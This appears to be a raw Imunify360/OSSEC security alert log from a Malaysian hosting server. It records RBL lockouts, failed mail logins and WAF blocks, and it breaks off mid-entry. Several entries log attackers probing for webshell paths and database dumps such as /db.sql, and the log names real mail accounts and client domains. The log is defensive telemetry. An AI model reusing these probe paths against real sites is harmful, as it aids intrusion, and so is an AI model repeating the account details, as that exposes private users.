rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.120
country_id: 298795
description:
Jan 12 14:26:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.12
country_id: 953987
description:
Jan 12 14:26:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.12
country_id: 953987
description:
Jan 12 14:27:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/faq.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.34.239
country_id: 6290252
description:
Jan 12 14:28:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.34.239 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.36.42
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-28.104.207.36.42||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.189
country_id: 3175395
description:
Jan 12 14:30:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.189 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 206.232.1.192
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:workingmagsoftco||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52942: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52946: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.146.119.77
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=40 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35916: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:36:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35917: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:38:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37152: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.192.79.179
country_id: 3865483
description:
2026-01-12 14:39:02 dovecot_login authenticator failed for H=(pppoe-179.79.192.181.in-addr.arpa) [181.192.79.179]:33148: 535 Incorrect authentication data (set_id=info@kimmark.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 14:38:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37153: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 204.217.128.72
country_id: 6252001
domain: www.pspoly.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:pspolycom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.2.16
country_id: 719819
description:
Jan 12 14:41:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.2.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.103
country_id: 1269750
description:
Jan 12 14:41:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.227
country_id: 2510769
description:
Jan 12 14:41:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.252.229.77
country_id: 3865483
description:
Jan 12 14:41:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.252.229.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.159
country_id: 298795
description:
Jan 12 14:42:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.105.2.16
country_id: 719819
description:
Jan 12 14:41:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.105.2.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.8.118.103
country_id: 1269750
description:
Jan 12 14:41:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.8.118.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.219
country_id: 690791
description:
Jan 12 14:41:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.30.162
country_id: 798544
description:
Jan 12 14:41:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.30.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 14:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57936: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.159
country_id: 298795
description:
Jan 12 14:42:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.81
country_id: 798544
description:
Jan 12 14:42:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.202.108
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=193141 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 14:43:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57936: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.211.103
country_id: 798544
description:
Jan 12 14:44:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.211.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.20
country_id: 798544
description:
Jan 12 14:44:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.40.50.24
country_id: 6252001
description:
2026-01-12 14:46:01 dovecot_plain authenticator failed for H=([10.23.18.73]) [149.40.50.24]:9817: 535 Incorrect authentication data (set_id=wanfazris@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.211.130
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=430640 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.16.25.165
country_id: 3437598
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=995382 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.2.206.97
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/conf.py HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:59:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53007: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.45
country_id: 1269750
description:
Jan 12 14:58:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.234.180.66
country_id: 3865483
description:
Jan 12 14:58:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.234.180.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 14:59:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53007: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.89.215.170
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=532851 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.36
country_id: 953987
description:
Jan 12 15:01:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.110.185
country_id: 3469034
description:
Jan 12 15:01:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.110.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.147
country_id: 953987
description:
Jan 12 15:01:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.52.175
country_id: 953987
description:
Jan 12 15:01:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.52.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.19.183
country_id: 2300660
description:
Jan 12 15:01:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.19.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.167
country_id: 3469034
description:
Jan 12 15:02:33 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.110.185
country_id: 3469034
description:
Jan 12 15:02:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.110.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.209.237
country_id: 798544
description:
Jan 12 15:03:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.209.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35924: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.178
country_id: 3175395
description:
Jan 12 15:03:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:04:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35925: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 15:07:20 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37175: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/demos/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.19.72.198
country_id: 3686110
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.60.12.246
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=886497 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/index.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.177.191.94
country_id: 2017370
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=593205 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.160.242
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-09.209.50.160.242||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.240.71.49
country_id: 6252001
domain: www.pspoly.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/database.sql||User:pspolycom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.113.190
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=104350 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.102.162.135
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=827315 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.141.187
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=20 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-01-12 15:10:53 dovecot_login authenticator failed for H=(static-ip-1815407040.cable.net.co) [181.54.70.40]:38602: 535 Incorrect authentication data (set_id=serene.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 15:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58024: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.100.250.41
country_id: 2017370
description:
Jan 12 15:10:30 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.100.250.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.100.250.41
country_id: 2017370
description:
2026-01-12 15:10:32 dovecot_login authenticator failed for H=([93.100.250.41]) [93.100.250.41]:57898: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.54.70.40
country_id: 3686110
description:
Jan 12 15:10:51 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.54.70.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 15:11:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58024: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.240.188
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=755322 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.47.46.174
country_id: 1522867
description:
Jan 12 15:12:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.47.46.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.46.174
country_id: 1522867
description:
2026-01-12 15:12:43 dovecot_login authenticator failed for H=([92.47.46.174]) [92.47.46.174]:49708: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.46.65.97
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-12.69.46.65.97||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cert.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.237.64.9
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=8 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.37.56
country_id: 1168579
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=326267 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.65.43.250
country_id: 3017382
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/right/10/606/1044826 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.159.157
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=806383 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.89
country_id: 2395170
description:
Jan 12 15:14:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.37
country_id: 3865483
description:
Jan 12 15:14:40 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.98.143.223
country_id: 783754
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=448994 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.49.146
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-17.198.145.49.146||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.202.73.141
country_id: 248816
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=599376 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.215
country_id: 3865483
description:
Jan 12 15:23:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.42
country_id: 2510769
description:
Jan 12 15:23:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.81.174.6
country_id: 3658394
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=307874 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.87.13.244
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&page_id=1&sub=9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.2.114.162
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.93
country_id: 3469034
description:
Jan 12 15:25:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.213
country_id: 3865483
description:
Jan 12 15:27:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 15:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53069: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.68
country_id: 690791
description:
Jan 12 15:26:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.56.219.22
country_id: 3469034
description:
2026-01-12 15:27:28 dovecot_login authenticator failed for H=177-56-219-22.3g.claro.net.br [177.56.219.22]:60838: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.213
country_id: 3865483
description:
Jan 12 15:27:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.116.101
country_id: 3469034
description:
